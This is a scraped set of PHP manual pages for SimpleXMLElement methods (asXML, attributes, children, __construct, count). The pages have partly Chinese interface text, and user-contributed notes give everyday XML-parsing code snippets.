The asXML method formats the parent object's data in XML version 1.0.

参数

filename

If a string value is provided, the function writes the data to the file rather than returning it.

返回值

If the filename isn't specified, this function returns a string on success and false on error. If the parameter is specified, it returns true if the file was written successfully and false otherwise.

更新日志

版本 | 说明
8.0.0 | filename is nullable now.

示例

Example #1 Get XML

<?php
$string = <<<XML
<a>
<b>
<c>text</c>
<c>stuff</c>
</b>
<d>
<c>code</c>
</d>
</a>
XML;

$xml = new SimpleXMLElement($string);

echo $xml->asXML();

?>

以上示例会输出：

<?xml version="1.0"?>
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <d>
  <c>code</c>
 </d>
</a>

asXML also works on Xpath results:

Example #2 Using asXML() on SimpleXMLElement::xpath() results

<?php
// Continued from example XML above.

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

foreach ($result as $node) {
echo $node->asXML();
}
?>

以上示例会输出：

<c>text</c><c>stuff</c>

参见

  • SimpleXMLElement::__toString() - Returns the string content
  • Basic SimpleXML usage

User Contributed Notes

andreas dot theissen at t-online dot de 27-Oct-2012 12:37
To prevent asXML from encoding vowels unwantedly, simply use an approriate XML header with encoding in advance.

If you do so, asXML will happily leave your vowels (and the header) entirely untouched.

<?php

$xmlstr =
'<?xml version="1.0" encoding="UTF-8"?>
<keys>
  <key lang="en">&lt;Insert&gt;</key>
  <key lang="de">&lt;Einfügen&gt;</key>
</keys>';

$sxe = new SimpleXMLElement($xmlstr);

$output = $sxe->asXML();

?>

$xmlstr and $output are identical now.

The subsequent use of html_entity_decode() (as proposed in the very beginning in another post) has several drawbacks:

1. It is slow
2. It is expensive
3. If there are already encoded arrow brackets or double quotes in your source for instance (as shown in the above example), markup will be broken.
oleg dot pavlin at gmail dot com 10-Jan-2012 04:17
Function asXML decodes special chars like ?, ? and others to &#xE6;, &#xF8;

To get normal output use without quoting:

$xml = html_entity_decode($xml, ENT_NOQUOTES, 'UTF-8');


Identifies an element's attributes

  • ? SimpleXMLElement::asXML
  • SimpleXMLElement::children ?
  • PHP Manual
  • SimpleXMLElement
  • Identifies an element's attributes

SimpleXMLElement::attributes

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::attributes — Identifies an element's attributes

说明

public SimpleXMLElement::attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement

This function provides the attributes and values defined within an xml tag.

Note: SimpleXML 建起了一个给大多数方法添加迭代属性的规则。不能通过使用 var_dump() 或任何可检查对象的其它东西来查看。

参数

namespaceOrPrefix

An optional namespace for the retrieved attributes

isPrefix

Default to false

返回值

Returns a SimpleXMLElement object that can be iterated over to loop through the attributes on the tag.

Returns null if called on a SimpleXMLElement object that already represents an attribute and not a tag.

示例

Example #1 Interpret an XML string

<?php
$string = <<<XML
<a>
<foo name="one" game="lonely">1</foo>
</a>
XML;

$xml = simplexml_load_string($string);
foreach($xml->foo[0]->attributes() as $a => $b) {
echo $a,'="',$b,"\"\n";
}
?>

以上示例会输出：

name="one"
game="lonely"

参见

  • Basic SimpleXML usage

User Contributed Notes

jurchiks101 at gmail dot com 23-May-2018 12:38
An undocumented way - and, IMO, a hack - of getting an element's value OR attributes
(but not both) without type-casting is to use the function `current()`:

<?php
$xml = new SimpleXMLElement(<<<'XML'
<foo>
    <bar>1</bar>
    <baz name="baz" />
    <qux name="qux">3</qux>
</foo>
XML
);

var_dump([
    'bar' => [
        $xml->bar,
        current($xml->bar),
    ],
    'baz' => [
        $xml->baz->attributes(),
        current($xml->baz->attributes()),
    ],
    'qux' => [
        // won't work here correctly
        $xml->qux,
        current($xml->qux),
        $xml->qux->attributes(),
        current($xml->qux->attributes()),
    ],
]);
?>

Results in the following output (re-formatted to shorten it):
```
array(3) {
  'bar' => array(2) {
    [0] => class SimpleXMLElement#2 (1) {
      public ${0} => string(1) "1"
    }
    [1] => string(1) "1"
  }
  'baz' => array(2) {
    [0] => class SimpleXMLElement#5 (1) {
      public $@attributes => array(1) {
        ...
      }
    }
    [1] => array(1) {
      'name' => string(3) "baz"
    }
  }
  'qux' => array(4) {
    [0] => class SimpleXMLElement#6 (2) {
      public $@attributes => array(1) {
        ...
      }
      public ${0} => string(1) "3"
    }
    [1] => array(1) {
      'name' => string(3) "qux"
    }
    [2] => class SimpleXMLElement#7 (1) {
      public $@attributes => array(1) {
        ...
      }
    }
    [3] => array(1) {
      'name' => string(3) "qux"
    }
  }
}
```

This apparently reads the element as an array and just returns the value of the first property, whether it be the attributes or the value. As seen in the third example, this is unreliable, especially if you're parsing XML from an outside source that may or may not have attributes on an element that you want the value of.

I certainly do NOT advise anyone to use this since it is undocumented and it is just a coincidence that it works, so it might break in the future without prior notice.
andy dot locologic+101 at gmail dot com 14-Aug-2015 10:00
Easiest and safest way to get attributes as an array is to use the iterator_to_array function (see http://php.net/manual/en/function.iterator-to-array.php):

<?php
      $x = new SimpleXMLElement('<div class="myclass" id="myid"/>');
      $attributes = iterator_to_array($x->attributes());
?>
zevnikrok 18-Dec-2014 11:01
If you wish to get attributes as an associative array of key value pairs, you don't need to iterate through them, you can get it with this one liner:

  reset($element->attributes())
webfelipemaia at gmail dot com 07-Sep-2013 05:11
Use attributes to display when it meets certain condition defined attribute / value in xml tags.

Use atributos para exibir quando atende determinada condi??o definida atributo / valor em tags XML.

Consider the following example:
Considere o seguinte exemplo:

(file.xml)

<?xml version="1.0" encoding="UTF-8"?>

<list>
    <item type="Language">
        <name>PHP</name>
        <link>www.php.net</link>
    </item>
    <item type="Database">
        <name>Java</name>
        <link>www.oracle.com/br/technologies/java/?</link>
    </item>
</list>

Checks if the attribute value equals "Language", if equal prints everything that is related to "Language".

Verifica se o valor do atributo é igual a "Language", se for, imprime tudo o que for relativo ao mesmo.

<?php

$xml = simplexml_load_file("file.xml");

foreach($xml->children() as $child) {

        $role = $child->attributes();

        foreach($child as $key => $value) {

            if($role == "Language")
            echo("[".$key ."] ".$value . "<br />");

        }
}
?>

output:
saída:

[name] PHP
[link] www.php.net
adrian at foeder dot de 14-Jun-2013 10:15
in order to get a possibly present xml:space attribute, use the following construct:

<?php
$simpleXmlElement->element->attributes('http://www.w3.org/XML/1998/namespace')->space;
?>

This will, for example, return 'preserve' if set.

Just passing by 'xml' as namespace argument of the attribute() method didn't work out for me. Passing by the complete namespace URI works also if it is not explicitly defined in the underlying XML document.

Also, $simpleXmlElement->getNamespaces() does not return anything of use.
totalwipeout at gmail dot com 08-Nov-2012 05:21
Tip to get a real array of all attributes of a node (not SimpleXML's object acting like an array)

<?php
//- $node is a SimpleXMLElement object

$atts_object = $node->attributes(); //- get all attributes, this is not a real array
$atts_array = (array) $atts_object; //- typecast to an array

//- grab the value of '@attributes' key, which contains the array your after
$atts_array = $atts_array['@attributes'];

var_dump($atts_object); //- outputs object(SimpleXMLElement)[19]
                        //-             public '@attributes' => ...

var_dump($atts_array); //- outputs array (size=11) ...

?>
Hope this helps!
chris at chlab dot ch 23-Mar-2012 10:16
Note that you must provide the namespace if you want to access an attribute of a non-default namespace:

Consider the following example:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Table Foo="Bar" ss:ExpandedColumnCount="7">
 </Table>
</Workbook>
XML;

$sxml = new SimpleXMLElement($xml);

/**
 * Access attribute of default namespace
 */
var_dump((string) $sxml->Table[0]['Foo']);
// outputs: 'Bar'

/**
 * Access attribute of non-default namespace
 */
var_dump((int) $sxml->Table[0]['ExpandedColumnCount']);
// outputs: 0

var_dump((int) $sxml->Table[0]->attributes('ss', TRUE)->ExpandedColumnCount);
// outputs: '7'
?>
Andrei 16-May-2011 04:46
Reading the attributes of the root element with name space prefixes as in an Atom feed

<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:gd="http://schemas.google.com/g/2005" gd:etag="W/&quot;Ck4EQXYzeCp7ImA9WhZWFE4.&quot;">

<?php
$xml =  @simplexml_load_file($feed);
$att_gd = $xml->attributes("gd",1);
$Etag = $att_gd["etag"];
?>
sarlak 27-Apr-2011 01:12
<?php
$att = 'attribueName';

// You can access an element's attribute just like this :
$attribute = $element->attributes()->$att;

// This will save the value of the attribute, and not the objet
$attribute = (string)$element->attributes()->$att;

// You also can edit it this way :
$element->attributes()->$att = 'New value of the attribute';
?>
leap 02-Apr-2011 09:07
If you want to save the value of an attribute into an array, typecast it to a string.

<?php
// stores an xml-element-object
$dataStore['value'] = $attributes->myValue

// stores the value of the attribute
$dataStore['value'] = (string)$attributes->myValue
?>
alan at performantsystems dot com 23-May-2010 10:26
So lets say you have database type data in an XML string called $xmlstring with the key or item ID as an XML Attribute and all content data as regular XML Elements, as above. SimpleXML processes the Attributes as an array, so we can play along and push the Attributes into an array. Then we can get the value of any specific Attribute we want by addressing it by name, such as "ID".

Considering this data:

<?xml version="1.0" encoding="utf-8"?>
<data>
   <item ID="30001">
      <Company>Navarro Corp.</Company>
   </item>
   <item ID="30002">
      <Company>Performant Systems</Company>
   </item>
   <item ID="30003">
      <Company>Digital Showcase</Company>
   </item>
</data>

Example of listing both the ID Attribute and Company Element values:

<?php
$xmlObject = new SimpleXMLElement($xmlstring);
foreach ($xmlObject->children() as $node) {
        $arr = $node->attributes();   // returns an array
        print ("ID=".$arr["ID"]);     // get the value of this attribute
        print ("  Company=".$node->Company);
        print ("<p><hr>");
}
?>
Xeoncross 10-Apr-2010 07:46
It is really simple to access attributes using array form. However, you must convert them to strings or ints if you plan on passing the values to functions.

<?php
SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [id] => 55555
        )

    [text] => "hello world"
)
?>

Then using a function

<?php
function xml_attribute($object, $attribute)
{
    if(isset($object[$attribute]))
        return (string) $object[$attribute];
}
?>

I can get the "id" like this

<?php
print xml_attribute($xml, 'id'); //prints "55555"
?>
gillllberg at gmail dot com 04-Nov-2009 02:21
To get an attribute in the node, use node->attributes()->attributeName
skerr at mojavi dot org 09-Dec-2004 10:55
You can also access the node as an array to get attributes:

<?php

$xml = simplexml_load_file('file.xml');

echo 'Attribute: ' . $xml['attribute'];

?>
inge at elektronaut dot no 26-May-2004 10:53
here's a simple function to get an attribute by name, based on the example

<?php
function findAttribute($object, $attribute) {
  foreach($object->attributes() as $a => $b) {
    if ($a == $attribute) {
      $return = $b;
    }
  }
  if($return) {
    return $return;
  }
}
?>


Finds children of given node

  • ? SimpleXMLElement::attributes
  • SimpleXMLElement::__construct ?
  • PHP Manual
  • SimpleXMLElement
  • Finds children of given node

SimpleXMLElement::children

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::children — Finds children of given node

说明

public SimpleXMLElement::children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement

This method finds the children of an element. The result follows normal iteration rules.

Note: SimpleXML 建起了一个给大多数方法添加迭代属性的规则。不能通过使用 var_dump() 或任何可检查对象的其它东西来查看。

参数

namespaceOrPrefix

An XML namespace.

isPrefix

If isPrefix is true, namespaceOrPrefix will be regarded as a prefix. If false, namespaceOrPrefix will be regarded as a namespace URL.

返回值

Returns a SimpleXMLElement element, whether the node has children or not, unless the node represents an attribute, in which case null is returned.

示例

Example #1 Traversing a children() pseudo-array

<?php
$xml = new SimpleXMLElement(
'<person>
<child role="son">
<child role="daughter"/>
</child>
<child role="daughter">
<child role="son">
<child role="son"/>
</child>
</child>
</person>');

foreach ($xml->children() as $second_gen) {
echo ' The person begot a ' . $second_gen['role'];

foreach ($second_gen->children() as $third_gen) {
echo ' who begot a ' . $third_gen['role'] . ';';

foreach ($third_gen->children() as $fourth_gen) {
echo ' and that ' . $third_gen['role'] .
' begot a ' . $fourth_gen['role'];
}
}
}
?>

以上示例会输出：

The person begot a son who begot a daughter; The person
begot a daughter who begot a son; and that son begot a son

Example #2 Using namespaces

<?php
$xml = '<example xmlns:foo="my.foo.urn">
<foo:a>Apple</foo:a>
<foo:b>Banana</foo:b>
<c>Cherry</c>
</example>';

$sxe = new SimpleXMLElement($xml);

$kids = $sxe->children('foo');
var_dump(count($kids));

$kids = $sxe->children('foo', TRUE);
var_dump(count($kids));

$kids = $sxe->children('my.foo.urn');
var_dump(count($kids));

$kids = $sxe->children('my.foo.urn', TRUE);
var_dump(count($kids));

$kids = $sxe->children();
var_dump(count($kids));
?>
int(0)
int(2)
int(2)
int(0)
int(1)

参见

  • SimpleXMLElement::count() - Counts the children of an element
  • count() - 统计数组、Countable 对象中所有元素的数量

User Contributed Notes

boan dot web at outlook dot com 15-Mar-2019 07:09
SimpleXMLElement::children can return null in this case:

<?php
$xml = '
<root attr="Hello"/>
';

$sxe = new SimpleXMLElement($xml);

$sxe_xpath = $sxe->xpath('/root/@attr')[0];

$children = $sxe_xpath->children();

var_export($children); // Is null
?>
thetazzbot at gmail dot com 08-Sep-2011 06:56
Ok so say you have this xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE nitf
PUBLIC "-//IPTC-NAA//DTD NITF 3.1//EN"
       "http://www.nitf.org/site/nitf-documentation/nitf-3-1.dtd">
<nitf>
  <head>
    <docdata management-status="embargoed">
      <!--data/2011/08/23/parties/doc4e53aa5783cca930694817.txt-->
      <doc-id id-string="doc4e53aa5783cca930694817"/>
      <date.release norm="20110823T000000"/>
      <key-list/>
    </docdata>
    <pubdata type="web" position.section="parties" position.sequence="0"/>
  </head>

-- snip --

If you need to access the nodes named "like.this" such as the date.release above, here is how I did it:

$xml = new SimpleXMLElement($xhtml);
 echo (string)$xml->head->docdata->{"date.release"}["norm"];

Took me a while to figure that one out ;)
coldshine1 at rambler dot ru 10-Dec-2010 02:37
This is my recursive simple function to parse XML with attributes.

<?php
function ParseXML($node, &$parent=array(), $only_child=true) {

        //Current node name
        $node_name = $node->getName();

        //Let's count children
        $only_child = true;
        if($node->count() > 1 ) $only_child = false;

        //If there is no child, then there may be text data
        if($only_child){
            $content="$node";
            if (strlen($content)>0) $parent['content']=$content;
        }

        //Get attributes of current node
        foreach ($node->attributes() as $k=>$v) {
            $parent['@attributes'][$k]="$v";
        }

        //Get children
        $count = 0;
        foreach ($node->children() as $child_name=>$child_node) {
            if(!$only_child) //If there are siblings then we'll add node to the end of the array
                LGServerPVR::ParseXML($child_node, $parent[$node_name][$child_name][$count], $only_child);
            else
                LGServerPVR::ParseXML($child_node, $parent[$node_name][$child_name], $only_child);
            $count++;
        }

        return $parent;
        //(c) c01d[s]h!nE 10.12.2010
    }

?>
Anonymous 26-Oct-2010 05:19
Here's my xml-to-array routine. Unlike many of the other comments here, this one takes namespaces into account.

<?php

class XmlArray {

  public function load_dom ($xml) {
    $node=simplexml_import_dom($xml);
    return $this->add_node($node);
  }

  public function load_string ($s) {
    $node=simplexml_load_string($s);
    return $this->add_node($node);
  }

  private function add_node ($node, &$parent=null, $namespace='', $recursive=false) {

    $namespaces = $node->getNameSpaces(true);
    $content="$node";

    $r['name']=$node->getName();
    if (!$recursive) {
      $tmp=array_keys($node->getNameSpaces(false));
      $r['namespace']=$tmp[0];
      $r['namespaces']=$namespaces;
    }
    if ($namespace) $r['namespace']=$namespace;
    if ($content) $r['content']=$content;

    foreach ($namespaces as $pre=>$ns) {
      foreach ($node->children($ns) as $k=>$v) {
        $this->add_node($v, $r['children'], $pre, true);
      }
      foreach ($node->attributes($ns) as $k=>$v) {
        $r['attributes'][$k]="$pre:$v";
      }
    }
    foreach ($node->children() as $k=>$v) {
      $this->add_node($v, $r['children'], '', true);
    }
    foreach ($node->attributes() as $k=>$v) {
      $r['attributes'][$k]="$v";
    }

    $parent[]=&$r;
    return $parent[0];

  }

}

?>
mrdaniellee at live dot com 10-Jan-2010 09:11
use this If you want to view the HTML as well as data.

normal dumps display the parsed versions of HTML.
This code displays the HTML as Text in a Text Area, and also display all other a data along side as an array

perfect for debugging (xml with html).

Try This Code:

<?php
$xml  = simplexml_load_file($url);

function xml2array_parse($xml){
     foreach ($xml->children() as $parent => $child){
         $return["$parent"] = xml2array_parse($child)?xml2array_parse($child):"$child";
     }
     return $return;
 }

 print "<pre><textarea style=\"width:200%;height:100%;\">";
 print_r(xml2array_parse($xml));
 print "</textarea></pre>";
?>
rodmen at gmail dot com 21-May-2009 08:32
Transform xml to array php

<?php
function xml2phpArray($xml,$arr){
    $iter = 0;
        foreach($xml->children() as $b){
                $a = $b->getName();
                if(!$b->children()){
                        $arr[$a] = trim($b[0]);
                }
                else{
                        $arr[$a][$iter] = array();
                        $arr[$a][$iter] = xml2phpArray($b,$arr[$a][$iter]);
                }
        $iter++;
        }
        return $arr;
}

$Array = simplexml_load_string(file_get_contents('myfile.xml'));
print_r(xml2phpArray($Array,array()));
?>
Anonymous 06-Sep-2008 05:39
for XML namespaces such as <dc:creator> in RSS feeds use

<?php
    $xml = new SimpleXMLElement($string);
    $item = $xml->channel[0]->item[0];
    $dc = $item->children("http://purl.org/dc/elements/1.1/");
    echo $dc->creator;
?>
transglobe at gmx dot de 19-Mar-2008 02:37
I made a slightly differnt approch towards the RecurseXML function. Beeing hungry I had problems with the code, as it did just overwrite two <maincourse>s. So here is what I did:

<?php

$xml = new SimpleXMLElement(
'<meal>
   <type>Lunch</type>
   <time>12:30</time>
   <menu>
     <entree>salad</entree>
     <maincourse>
        <part>ships</part>
        <part>steak</part>
     </maincourse>
     <maincourse>
        <part>fisch</part>
        <part>rice</part>
     </maincourse>
     <maincourse>
        <part>wine</part>
        <part>cheese</part>
     </maincourse>
   </menu>
</meal>');

$vals = array();
RecurseXML($xml,$vals);

foreach($vals as $key=>$value)
  print("{$key} = {$value}<BR>\n");

function RecurseXML($xml,&$vals,$parent="") {

  $childs=0;
  $child_count=-1; # Not realy needed.
  $arr=array();
        foreach ($xml->children() as $key=>$value) {
                if (in_array($key,$arr)) {
                        $child_count++;
                } else {
                        $child_count=0;
                }
                $arr[]=$key;
                $k=($parent == "") ? "$key.$child_count" : "$parent.$key.$child_count";
                $childs=RecurseXML($value,$vals,$k);
                if ($childs==0) {
                        $vals[$k]= (string)$value;
                }
        }

  return $childs;
}

?>
Output is like this:
type.0 = Lunch
time.0 = 12:30
menu.0.entree.0 = salad
menu.0.maincourse.0.part.0 = ships
menu.0.maincourse.0.part.1 = steak
menu.0.maincourse.0 =
menu.0.maincourse.1.part.0 = fisch
menu.0.maincourse.1.part.1 = rice
menu.0.maincourse.1 =
menu.0.maincourse.2.part.0 = wine
menu.0.maincourse.2.part.1 = cheese
menu.0.maincourse.2 =
menu.0 =

(Not beautiful, but it solved my case...)
crescentfreshpot at yahoo dot com 10-Dec-2007 08:16
Just a warning that the iterable returned from children() contains the '@attributes' key, which is "invisible" during a foreach but can be seen if using a different construct, such as list()=each() or casting to an array before iterating w/ foreach.
aero 23-May-2007 08:07
Here's a simple, recursive, function to transform XML data into pseudo E4X syntax ie. root.child.value = foobar

<?php
error_reporting(E_ALL);

$xml = new SimpleXMLElement(
'<Patriarch>
   <name>Bill</name>
   <wife>
     <name>Vi</name>
   </wife>
   <son>
     <name>Bill</name>
   </son>
   <daughter>
     <name>Jeri</name>
     <husband>
       <name>Mark</name>
     </husband>
     <son>
       <name>Greg</name>
     </son>
     <son>
       <name>Tim</name>
     </son>
     <son>
       <name>Mark</name>
     </son>
     <son>
       <name>Josh</name>
         <wife>
           <name>Kristine</name>
         </wife>
         <son>
           <name>Blake</name>
         </son>
         <daughter>
           <name>Liah</name>
         </daughter>
     </son>
   </daughter>
</Patriarch>');

RecurseXML($xml);

function RecurseXML($xml,$parent="")
{
   $child_count = 0;
   foreach($xml as $key=>$value)
   {
      $child_count++;
      if(RecurseXML($value,$parent.".".$key) == 0)  // no childern, aka "leaf node"
      {
         print($parent . "." . (string)$key . " = " . (string)$value . "<BR>\n");
      }
   }
   return $child_count;
}

?>

The output....

.name = Bill
.wife.name = Vi
.son.name = Bill
.daughter.name = Jeri
.daughter.husband.name = Mark
.daughter.son.name = Greg
.daughter.son.name = Tim
.daughter.son.name = Mark
.daughter.son.name = Josh
.daughter.son.wife.name = Kristine
.daughter.son.son.name = Blake
.daughter.son.daughter.name = Liah
taylorbarstow at that google mail thingy 21-Apr-2006 07:38
Sometimes you actually want an array, not a pseudo array.   This is especially true when you aren't dealing with attributes (i.e., you just want the array of child nodes).

Do like this:

<?php
$children = $sxml->xpath('child::node()');
?>

The reason you might want this is to be able to use array functions like array_shift, array_pop, etc.  This is especially true when you are writing recursive functions.  Simplexml works really well in iterative programming, but if you try to implement recursion it gets ugly.
Sebastian 27-Oct-2005 03:45
Just a quick addition:

If you need to access a child node which contains a dash, you need to encapsulate it with {""}.

For example:
<?php
foreach ($domain->domain-listing as $product) {
}
?>

The example above doesn't work because of the dash. But instead you need to use:
<?php
foreach ($domain->{"domain-listing"} as $product) {
}
?>

At least for me the second example works perfectly fine.
no-one 31-May-2005 06:05
For anyone who hasn't read Sterling Hughe's article (http://www.zend.com/php5/articles/php5-simplexml.php):

<?php
$xml_document =<<<EOT
<?xml version="1.0"?>
<root xmlns:foo="http://example.com">
  <foo:bar>baz</foo:bar>
</root>
EOT;

$xml_document = simplexml_load_xml($xml_document);

$foo_ns_bar = $xml_document->children('http://example.com');

echo $foo_ns_bar->bar[0]; // prints 'baz'
?>
Andrew Rose (rose dot andrew at gmail dot com) 16-Mar-2005 04:48
The example below shows the basic use of depth-first recursion to span the xml tree.

This is coded for the command line, and it prints out the original sentance above and then the copy cat sentence it creates itself for comparison, which as you will see; this example is slightly off from, I'll leave it upto you to resolve this issue.

All in all I personaly think xml and recursion go hand in hand, so if you don't understand recursion but know xml and want to use php to manipulate xml you will need to learn about recursion at some point.

<?php
$xml = simplexml_load_string(
'<person>
 <child role="son">
  <child role="daughter"/>
 </child>
 <child role="daughter">
  <child role="son">
   <child role="son"/>
  </child>
 </child>
</person>');

function recurse($child)
 {
   foreach($child->children() as $children) {
     echo ' who begot a '.$children['role'];
     recurse($children);
   }
    return;
 }

foreach($xml->children() as $children) {
 echo 'The person begot a '.$children['role'];
  recurse($children, 0);
 echo '; ';
}

echo "\n";
echo 'The person begot a son who begot a daughter; The person begot a daughter who begot a son; and that son begot a son'."\n";

?>
zyxwvu at users dot sourceforge dot net 15-Feb-2004 10:32
File:

<category>
  <item>text</item>
  <bold>text</bold>
  <item>text</item>
  <item>text</item>
  <mark>text</mark>
  <bold>text</bold>
</category>

If you want to get also names of the tags, you can use this loop layout:

<?php
foreach($category -> children() as $name => $node){
  echo $name.'<br/>';
}
?>


Creates a new SimpleXMLElement object

  • ? SimpleXMLElement::children
  • SimpleXMLElement::count ?
  • PHP Manual
  • SimpleXMLElement
  • Creates a new SimpleXMLElement object

SimpleXMLElement::__construct

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::__construct — Creates a new SimpleXMLElement object

说明

public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)

Creates a new SimpleXMLElement object.

参数

data

A well-formed XML string or the path or URL to an XML document if dataIsURL is true.

options

Optionally used to specify additional Libxml parameters, which affect reading of XML documents. Options which affect the output of XML documents (e.g. LIBXML_NOEMPTYTAG) are silently ignored.

Note:

It may be necessary to pass LIBXML_PARSEHUGE to be able to process deeply nested XML or very large text nodes.

dataIsURL

By default, dataIsURL is false. Use true to specify that data is a path or URL to an XML document instead of string data.

namespaceOrPrefix

Namespace prefix or URI.

isPrefix

true if namespaceOrPrefix is a prefix, false if it's a URI; defaults to false.

错误／异常

Produces an E_WARNING error message for each error found in the XML data and additionally throws an Exception if the XML data could not be parsed.

Tip

Use libxml_use_internal_errors() to suppress all XML errors, and libxml_get_errors() to iterate over them afterwards.

示例

Note:

Listed examples may include example.php, which refers to the XML string found in the first example of the basic usage guide.

Example #1 Create a SimpleXMLElement object

<?php

include 'example.php';

$sxe = new SimpleXMLElement($xmlstr);
echo $sxe->movie[0]->title;

?>

以上示例会输出：

PHP: Behind the Parser

Example #2 Create a SimpleXMLElement object from a URL

<?php

$sxe = new SimpleXMLElement('http://example.org/document.xml', NULL, TRUE);
echo $sxe->asXML();

?>

参见

  • Basic SimpleXML usage
  • simplexml_load_string() - Interprets a string of XML into an object
  • simplexml_load_file() - Interprets an XML file into an object
  • Dealing with XML errors
  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed
  • libxml_set_streams_context() - Set the streams context for the next libxml document load or write

User Contributed Notes

info at ensostudio dot ru 20-Aug-2021 04:22
Extended SimpleXMLElement:
<?php
class XmlElement extends \SimpleXMLElement
{
    public static function factory(string $root): self
    {
        return new static('<?xml version="1.0" encoding="UTF-8"?><'.$root.'/>', LIBXML_BIGLINES | LIBXML_COMPACT);
    }

    /**
      * @param iterable $attributes An array of element attributes as name/value pairs
      * @return $this
      */
    public function addAttributes(iterable $attributes)
    {
        foreach ($attributes as $name => $value) {
            $this->addAttribute($name, $value);
        }

        return $this;
    }

    /**
      * @param string $name The sub-element name
      * @param string|array|null $valueOrAttributes The sub-element value or an array of attributes
      * @param string|null $namespace The sub-element namespace
      * @return static|null
      */
    public function addChild($name, $valueOrAttributes = null, $namespace = null)
    {
        if (is_array($valueOrAttributes)) {
            $child = parent::addChild($name, null, $namespace);
            foreach ($valueOrAttributes as $name => $value) {
                $child->addAttribute($name, $value);
            }
        } else {
            $child = parent::addChild($name, $valueOrAttributes, $namespace);
        }

        return $child;
    }

    /**
      * @param iterable $childs An array of sub-elements as name/value(or attributes) pairs
      * @return $this
      */
    public function addChilds(iterable $childs)
    {
        foreach ($childs as $name => $value) {
            $this->addChild($name, $value);
        }

        return $this;
    }
}
?>
rowan dot collins at gmail dot com 22-Apr-2017 03:23
The manual doesn't really explain what the $ns argument (and the accompanying $is_prefix) are for.

What they do is similar to the ->children() method: they set the context of the returned object to that namespace, so that access via ->elementName and ['attributeName'] refer to elements and attributes in that namespace.

In particular, they do *not* change the namespaces which exist on the document.

See this example:

<?php
// This XML contains two elements called <child>
// One is in the namespace http://example.com, with local prefix 'ws'
// The other has no namespace (no prefix, and no default namespace declared)
$xml = '<ws:example xmlns:ws="http://example.com"><child>Not in namespace</child><ws:child>In example namespace</ws:child></ws:example>';

$sx0 = new SimpleXMLElement($xml, 0, false);
$sx1 = new SimpleXMLElement($xml, 0, false, 'http://example.com');
$sx2 = new SimpleXMLElement($xml, 0, false, 'ws', true);

echo "
    Without: {$sx0->child}
    By namespace: {$sx1->child}
    By prefix: {$sx2->child}
";
?>

Output:

 Without: Not in namespace
 By namespace: In example namespace
 By prefix: In example namespace
ahmad dot mayahi at gmail dot com 07-Jun-2016 09:36
You won't be able to load an XML file without root element:

//This will throw an exception
$xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?>', null, false);

//Here is the solution
$xml = new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><root></root>', null, false);
Phil Cross 01-Sep-2014 11:39
It's worth noting, that you need to typecast dynamic property names to string in order to retrieve there value, for example:

<?php
    $xml = new SimpleXMLElement('records.xml', 0, true);

    // This will work as expected because its a hard coded property value
    foreach($xml as $record){
        echo $record->id;    // Will output the ID fine
    }

    // Dynamic properties require typecasting to string
    $xml_field = 'id';
    foreach($xml as $record){

        // This will dump a SimpleXMLElement object
        var_dump($record->$xml_field);

        // This will output the value as expected
        echo (string)$record->$xml_field;
    }
?>
bertolini dot cedric at me dot com 16-Jun-2014 11:07
It's worth noting that the behavior of SimpleXmlElement::__construct is not exactly the same as simplexml_load_string, regarding libxml_use_internal_errors().

In my case,

<?php
libxml_use_internal_errors(true);
new \SimpleXmlElement($data);
?>

was still throwing error. But as soon as I switched to

<?php
libxml_use_internal_errors(true);
simplexml_load_string($data);
?>

everything worked fine and I stopped getting an error.
kumarldh at gmail dot com 22-Mar-2011 10:50
Using libxml_use_internal_errors() may suppress errors but Exception still requires decent handling. I used following code snippet.

<?php
libxml_use_internal_errors(true);
try{
    $xmlToObject = new SimpleXMLElement($notSoWellFormedXML);
} catch (Exception $e){
    echo 'Please try again later...';
    exit();
}
?>
uramihsayibok, gmail, com 16-Aug-2009 06:52
As I was filling out a bug report, I realized why (speculation here) the constructor is final: so that functions like simplexml_load_file and simplexml_load_string can work. I imagine the PHP-ized code looks something like

<?php

function simplexml_load_file($filename, $class_name = "SimpleXMLElement", $options = 0, $ns = "", $is_prefix = false) {
    return new $class_name($filename, $options, true, $ns, $is_prefix);
}

?>

If we were to use a different $class_name and change the constructor's definition these functions wouldn't work.

There's no easy, sensible solution that keeps simplexml_load_file and simplexml_load_string.
tudor at culise dot net 20-Nov-2007 03:35
This class is extendable, but it's too bad that its constructor cannot be overriden (PHP says it's a final method). Thus the class should be wrapped using the delegation principle rather that extended.


Counts the children of an element

  • ? SimpleXMLElement::__construct
  • SimpleXMLElement::current ?
  • PHP Manual
  • SimpleXMLElement
  • Counts the children of an element

SimpleXMLElement::count

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SimpleXMLElement::count — Counts the children of an element

说明

public SimpleXMLElement::count(): int

This method counts the number of children of an element.

参数

此函数没有参数。

返回值

Returns the number of elements of an element.

示例

Example #1 Counting the number of children

<?php
$xml = <<<EOF
<people>
<person name="Person 1">
<child/>
<child/>
<child/>
</person>
<person name="Person 2">
<child/>
<child/>
<child/>
<child/>
<child/>
</person>
</people>
EOF;

$elem = new SimpleXMLElement($xml);

foreach ($elem as $person) {
printf("%s has got %d children.\n", $person['name'], $person->count());
}
?>

以上示例会输出：

Person 1 has got 3 children.
Person 2 has got 5 children.

参见

  • SimpleXMLElement::children() - Finds children of given node

User Contributed Notes

daniel dot erni at focusedpublishing dot com 22-Mar-2011 08:37
Alternative code for PHP < 5.3:
<?php
$count = $node->count(); // PHP > 5.3
